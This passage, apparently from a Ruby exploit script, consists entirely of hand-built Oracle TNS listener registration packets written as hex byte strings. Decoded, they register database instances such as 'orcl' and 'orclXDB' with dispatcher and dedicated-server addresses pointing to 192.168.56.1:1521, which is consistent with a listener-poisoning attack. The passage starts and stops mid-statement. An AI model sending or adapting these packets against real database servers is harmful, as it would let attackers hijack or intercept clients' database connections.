"\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x66\x49" + @regpacket[2] << "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\xa8\x3e" + @regpacket[2] << "\x0b\x00\x00\x00\x00\x32\xb6\xcc\x55\x75\xeb\x48\xdf\x90\x97\x1c" + @regpacket[2] << "\x74\xdc\x03\xa1\x8c\x05\x00\x00\x00\x00\x00\x00\x00\x60\x5a\xf6" + @regpacket[2] << "\x21\xff\x07\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00\xe0\x91\x94" + @regpacket[2] << "\x25\xff\x07\x00\x00\x31\x00\x00\x00\x00\x00\x00\x00\xfc\x66\x49" + @regpacket[2] << "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00" + @regpacket[2] << "\x00\x01\x00\x00\x00\xc8\xaf\xea\x1f\xff\x07\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\xa0\x97\x3e\x0b\x00\x00\x00\x00\x44\x30\x30" + @regpacket[2] << "\x30\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54" + @regpacket[2] << "\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x61" + @regpacket[2] << "\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28" + @regpacket[2] << "\x50\x4f\x52\x54\x3d\x34\x39\x31\x38\x34\x29\x29\x00\x44\x49\x53" + @regpacket[2] << "\x50\x41\x54\x43\x48\x45\x52\x20\x3c\x6d\x61\x63\x68\x69\x6e\x65" + @regpacket[2] << "\x3a\x20\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66" + @regpacket[2] << "\x66\x2c\x20\x70\x69\x64\x3a\x20\x32\x39\x33\x36\x3e\x00\x01\x00" + @regpacket[2] << "\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb" + @regpacket[2] << "\xdc\x0a\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99" + @regpacket[2] << "\xdc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\x26\xe1\x41\xbf\x78\xe6\x42\xa6\xab\xcd" + @regpacket[2] << "\xdd\xef\xc9\xe1\xff\x72\x50\xa9\xff\x1f\xff\x07\x00\x00\x0a\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\x2c\x54\x7b\x47\x01\x00\x00\x00\x3a\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\x88\x45\xac\x25\xff\x07\x00\x00\x0e\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\xf0\x79\x7b\x47\x01\x00\x00\x00\x03\x00" + @regpacket[2] << "\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x68\xcf" + @regpacket[2] << "\xaa\x25\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb" + @regpacket[2] << "\xdc\x0a\x00\x00\x00\x00\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00" + @regpacket[2] << "\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43" + @regpacket[2] << "\x4f\x4c\x3d\x54\x43\x50\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61" + @regpacket[2] << "\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f" + @regpacket[2] << "\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x00\x52\x45\x4d\x4f\x54\x45" + @regpacket[2] << "\x20\x53\x45\x52\x56\x45\x52\x00\x07\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x78\xa9\xff\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" + @regpacket[2] << "\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f\x3e\x0b\x00\x00\x00\x00" + @regpacket[2] << "\x6f\x72\x63\x58\x44\x42\x00\x20\xcf\xaa\x25\xff\x07\x00\x00\x00" + @regpacket[2] << "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x48" + @regpacket[2] << "\xcf\xaa\x25\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01" + @regpacket[2] << "\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\x0a\x00\x00\x00\x00\x6f" + @regpacket[2] << "\x72\x63\x00\x00\x00\x00" + + @regpacket[3]="\x05\x8a\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x80\x24\x08" + @regpacket[3] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[3] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[3] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x28\xe9" + @regpacket[3] << "\x46\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[3] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[3] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[3] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08\x05" + @regpacket[3] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x80\xf5\x29\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\xb0\x00\x4e\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x30\xa8\x45\x0b\x00\x00\x00\x00\xe8\xfa\x42\x28\xc9\xb7" + @regpacket[3] << "\x44\x34\xa1\x46\xa9\xdc\x52\xce\xa7\x82\x05\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\xd8\x45\xec\x1a\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x88\x02\x4e\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[3] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x68\xf5\x29\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x00\x28" + @regpacket[3] << "\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64" + @regpacket[3] << "\x64\x66\x66\x66\x29\x00\x01\x00\x00\x00\x08\x00\x00\x00\x01\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\x90\x74\x74\x15\xff\x07\x00\x00\x02\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\x68\x74\x74\x15\xff\x07\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\xc0\xa6\x45\x0b\x00\x00\x00\x00\x6f\x72" + @regpacket[3] << "\x63\x6c\x58\x44\x42\x00\x08\x00\x00\x00\x00\x00\x00\x00\x90\x74" + @regpacket[3] << "\x74\x15\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00" + @regpacket[3] << "\x00\x00\x06\x00\x00\x00\x70\x8f\x45\x0b\x00\x00\x00\x00\x6f\x72" + @regpacket[3] << "\x63\x6c\x58\x44\x42\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\xc0\xd9\xe8\x1a\xff\x07\x00\x00\x02\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\x98\xd9\xe8\x1a\xff\x07\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\x08\xa6\x45\x0b\x00\x00\x00\x00\x6f\x72" + @regpacket[3] << "\x63\x6c\x00\x05\x00\x00\x00\x00\x00\x00\x00\xc0\xd9\xe8\x1a\xff" + @regpacket[3] << "\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06" + @regpacket[3] << "\x00\x00\x00\x18\xfc\x29\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x00" + @regpacket[3] << "\x01\x00\x00\x00\x45\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x10\x1a\x78\x15\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x50\x66\x4e\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\xe8\xa8\x45\x0b\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50" + @regpacket[3] << "\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50" + @regpacket[3] << "\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53" + @regpacket[3] << "\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28" + @regpacket[3] << "\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x29\x00\x45\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x10\x1a\x78\x15\xff\x07\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x48\xa5\x45\x0b\x00\x00\x00\x00\x28\x44\x45" + @regpacket[3] << "\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45" + @regpacket[3] << "\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70" + @regpacket[3] << "\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35" + @regpacket[3] << "\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29" + @regpacket[3] << "\x29\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\xd8\x9e\x45\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x90\x66\x4e\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x78\xa7\x45\x0b\x00\x00\x00\x00\xc2\x23\x0b\x17\x3d\xd6" + @regpacket[3] << "\x47\x9a\xbe\xd1\xea\xbd\xa2\x6d\x73\x73\x05\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x60\xaa\x71\x17\xff\x07\x00\x00\x3b\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\xd8\x91\xd4\x1a\xff\x07\x00\x00\x31\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\xfc\x66\x4e\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03" + @regpacket[3] << "\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\x38\xeb\x68\x15\xff\x07" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x9e\x45\x0b\x00\x00" + @regpacket[3] << "\x00\x00\x44\x30\x30\x30\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d" + @regpacket[3] << "\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70\x29\x28\x48" + @regpacket[3] << "\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64" + @regpacket[3] << "\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x34\x39\x31\x38\x38\x29" + @regpacket[3] << "\x29\x00\x44\x49\x53\x50\x41\x54\x43\x48\x45\x52\x20\x3c\x6d\x61" + @regpacket[3] << "\x63\x68\x69\x6e\x65\x3a\x20\x61\x61\x61\x61\x73\x73\x73\x73\x64" + @regpacket[3] << "\x64\x64\x64\x66\x66\x66\x2c\x20\x70\x69\x64\x3a\x20\x33\x30\x33" + @regpacket[3] << "\x32\x3e\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\xd0\xfb\x29\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\x90\x99\x29\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x32\xd4\x60\x4d\xd6" + @regpacket[3] << "\x25\x4e\x5d\x9a\xbe\xc9\x48\xe2\x16\xdf\x4e\x68\x74\x74\x15\xff" + @regpacket[3] << "\x07\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x2c\x54\x7b\x47\x01" + @regpacket[3] << "\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x80\x45\xec\x1a\xff" + @regpacket[3] << "\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0\x79\x7b\x47\x01" + @regpacket[3] << "\x00\x00\x00\x05\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02" + @regpacket[3] << "\x00\x00\x00\xe0\xd9\xe8\x1a\xff\x07\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[3] << "\x00\x00\x00\xb8\xfb\x29\x0b\x00\x00\x00\x00\x44\x45\x44\x49\x43" + @regpacket[3] << "\x41\x54\x45\x44\x00\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50" + @regpacket[3] << "\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x54\x43\x50\x29\x28\x48\x4f\x53" + @regpacket[3] << "\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66" + @regpacket[3] << "\x66\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29\x00\x52" + @regpacket[3] << "\x45\x4d\x4f\x54\x45\x20\x53\x45\x52\x56\x45\x52\x00\x08\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x90\x74\x74\x15\xff\x07\x00\x00\x05\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f\x45" + @regpacket[3] << "\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x58\x44\x42\x00\x98\xd9\xe8" + @regpacket[3] << "\x1a\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00" + @regpacket[3] << "\x00\x00\x00\x00\x00\xc0\xd9\xe8\x1a\xff\x07\x00\x00\x04\x00\x00" + @regpacket[3] << "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\x29" + @regpacket[3] << "\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x00" + + @regpacket[4]="\x05\x92\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x88\x24\x08" + @regpacket[4] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[4] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[4] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9" + @regpacket[4] << "\x47\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[4] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[4] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[4] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10\x05" + @regpacket[4] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x80\xf5\xdc\x0a\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\xb0\x00\x42\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\xc8\xa8\x46\x0b\x00\x00\x00\x00\xde\x26\xd5\x89\xc2\xb5" + @regpacket[4] << "\x4b\xbf\x9f\x9c\x8f\x1c\xad\xe3\x58\xe4\x06\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\xd0\x45\x6c\x32\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x88\x02\x42\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[4] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x68\xf5\xdc\x0a\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x00" + @regpacket[4] << "\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64\x64" + @regpacket[4] << "\x64\x64\x66\x66\x66\x29\x00\x01\x00\x00\x00\x09\x00\x00\x00\x01" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\xc0\x81\xbf\x2c\xff\x07\x00\x00\x02" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x98\x81\xbf\x2c\xff\x07\x00\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x58\xa7\x46\x0b\x00\x00\x00\x00\x6f" + @regpacket[4] << "\x72\x63\x6c\x31\x58\x44\x42\x00\x09\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\xc0\x81\xbf\x2c\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x01\x00\x00\x00\x06\x00\x00\x00\x70\x8f\x46\x0b\x00\x00\x00\x00" + @regpacket[4] << "\x6f\x72\x63\x6c\x31\x58\x44\x42\x00\x01\x00\x00\x00\x06\x00\x00" + @regpacket[4] << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x78\xd4\x69\x32\xff\x07\x00" + @regpacket[4] << "\x00\x02\x00\x00\x00\x00\x00\x00\x00\x50\xd4\x69\x32\xff\x07\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xa6\x46\x0b\x00\x00\x00" + @regpacket[4] << "\x00\x6f\x72\x63\x6c\x31\x00\x06\x00\x00\x00\x00\x00\x00\x00\x78" + @regpacket[4] << "\xd4\x69\x32\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01" + @regpacket[4] << "\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\x0a\x00\x00\x00\x00\x6f" + @regpacket[4] << "\x72\x63\x6c\x31\x00\x01\x00\x00\x00\x45\x00\x00\x00\x01\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\xe0\x80\x45\x32\xff\x07\x00\x00\x03\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x50\x66\x42\x0b\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x80\xa9\x46\x0b\x00\x00\x00\x00\x28\x44\x45" + @regpacket[4] << "\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28\x41\x44\x44\x52\x45" + @regpacket[4] << "\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74\x63\x70" + @regpacket[4] << "\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x35" + @regpacket[4] << "\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32\x31\x29\x29" + @regpacket[4] << "\x29\x00\x45\x00\x00\x00\x00\x00\x00\x00\xe0\x80\x45\x32\xff\x07" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa5\x46\x0b\x00\x00" + @regpacket[4] << "\x00\x00\x28\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4f\x4e\x3d\x28" + @regpacket[4] << "\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f" + @regpacket[4] << "\x4c\x3d\x74\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x31\x39\x32\x2e" + @regpacket[4] << "\x31\x36\x38\x2e\x35\x36\x2e\x31\x29\x28\x50\x4f\x52\x54\x3d\x31" + @regpacket[4] << "\x35\x32\x31\x29\x29\x29\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\xb8\x97\x46\x0b\x00\x00\x00\x00\x04" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x90\x66\x42\x0b\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x10\xa8\x46\x0b\x00\x00\x00\x00\xa2" + @regpacket[4] << "\x6e\x97\xfb\x0a\x34\x4c\x61\xb1\x2a\x48\x2f\x74\xe3\x47\x3f\x05" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x60\x2a\x5f\x2e\xff\x07\x00\x00\x3b" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\xd0\x91\x54\x32\xff\x07\x00\x00\x31" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\xfc\x66\x42\x0b\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\x68" + @regpacket[4] << "\x81\xbf\x2c\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0" + @regpacket[4] << "\x97\x46\x0b\x00\x00\x00\x00\x44\x30\x30\x30\x00\x28\x41\x44\x44" + @regpacket[4] << "\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x74" + @regpacket[4] << "\x63\x70\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73" + @regpacket[4] << "\x73\x64\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x34" + @regpacket[4] << "\x39\x31\x39\x32\x29\x29\x00\x44\x49\x53\x50\x41\x54\x43\x48\x45" + @regpacket[4] << "\x52\x20\x3c\x6d\x61\x63\x68\x69\x6e\x65\x3a\x20\x61\x61\x61\x61" + @regpacket[4] << "\x73\x73\x73\x73\x64\x64\x64\x64\x66\x66\x66\x2c\x20\x70\x69\x64" + @regpacket[4] << "\x3a\x20\x31\x37\x31\x36\x3e\x00\x01\x00\x00\x00\x10\x00\x00\x00" + @regpacket[4] << "\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb\xdc\x0a\x00\x00\x00\x00" + @regpacket[4] << "\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99\xdc\x0a\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x89\x06\x40\x36\x80\x83\x4b\xdd\xbc\x2b\xc5\x46\x15\x83\x4d\xef" + @regpacket[4] << "\x98\x81\xbf\x2c\xff\x07\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x2c\x54\x7b\x47\x01\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x78\x45\x6c\x32\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\xf0\x79\x7b\x47\x01\x00\x00\x00\x04\x00\x00\x00\x95\x00\x00\x00" + @regpacket[4] << "\x02\x00\x00\x00\x02\x00\x00\x00\x98\xd4\x69\x32\xff\x07\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb\xdc\x0a\x00\x00\x00\x00" + @regpacket[4] << "\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00\x28\x41\x44\x44\x52\x45" + @regpacket[4] << "\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x3d\x54\x43\x50" + @regpacket[4] << "\x29\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64" + @regpacket[4] << "\x64\x64\x64\x66\x66\x66\x29\x28\x50\x4f\x52\x54\x3d\x31\x35\x32" + @regpacket[4] << "\x31\x29\x29\x00\x52\x45\x4d\x4f\x54\x45\x20\x53\x45\x52\x56\x45" + @regpacket[4] << "\x52\x00\x09\x00\x00\x00\x00\x00\x00\x00\xc0\x81\xbf\x2c\xff\x07" + @regpacket[4] << "\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00" + @regpacket[4] << "\x00\x00\x70\x8f\x46\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x58" + @regpacket[4] << "\x44\x42\x00\x50\xd4\x69\x32\xff\x07\x00\x00\x00\x00\x00\x00\x00" + @regpacket[4] << "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x78\xd4\x69\x32\xff" + @regpacket[4] << "\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06" + @regpacket[4] << "\x00\x00\x00\x18\xfc\xdc\x0a\x00\x00\x00\x00\x6f\x72\x63\x6c\x31" + @regpacket[4] << "\x00\x00" + + @regpacket[5]="\x05\x9a\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x90\x24\x08" + @regpacket[5] << "\xff\x03\x01\x00\x12\x34\x34\x78\x78\x34\x78\x10\x10\x32\x10\x32" + @regpacket[5] << "\x10\x32\x54\x76\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76" + @regpacket[5] << "\x00\x00\x48\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x40\xea" + @regpacket[5] << "\x42\x0b\x00\x00\x00\x00\x90\x00\x23\x00\x00\x00\x42\x45\x43\x37" + @regpacket[5] << "\x36\x43\x32\x43\x43\x31\x33\x36\x2d\x35\x46\x39\x46\x2d\x45\x30" + @regpacket[5] << "\x33\x34\x2d\x30\x30\x30\x33\x42\x41\x31\x33\x37\x34\x42\x33\x03" + @regpacket[5] << "\x00\x65\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x18\x05" + @regpacket[5] << "\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x80\xf5\x2d\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\xb0\x00\x4d\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x88\xa9\x41\x0b\x00\x00\x00\x00\x8c\x24\x65\x7a\xe2\xdf" + @regpacket[5] << "\x4e\xb6\xa6\xff\x84\x53\xc2\x3c\x6b\x05\x07\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\xd0\x45\x6c\x32\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00" + @regpacket[5] << "\x00\x00\x88\x02\x4d\x0b\x00\x00\x00\x00\x0a\x00\x00\x00\x64\x00" + @regpacket[5] << "\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x08\x00" + @regpacket[5] << "\x00\x00\x68\xf5\x2d\x0b\x00\x00\x00\x00\x6f\x72\x63\x6c\x31\x32" + @regpacket[5] << "\x00\x28\x48\x4f\x53\x54\x3d\x61\x61\x61\x61\x73\x73\x73\x73\x64" + @regpacket[5] << "\x64\x64\x64\x66\x66\x66\x29\x00\x01\x00\x00\x00\x0a\x00\x00\x00" + @regpacket[5] << "\x01\x00\x00\x00\x00\x00\x00\x00\x60\x29\x44\x32\xff\x07\x00\x00" + @regpacket[5] << "\x02\x00\x00\x00\x00\x00\x00\x00\x38\x29\x44\x32\xff\x07\x00\x00" + @regpacket[5] << 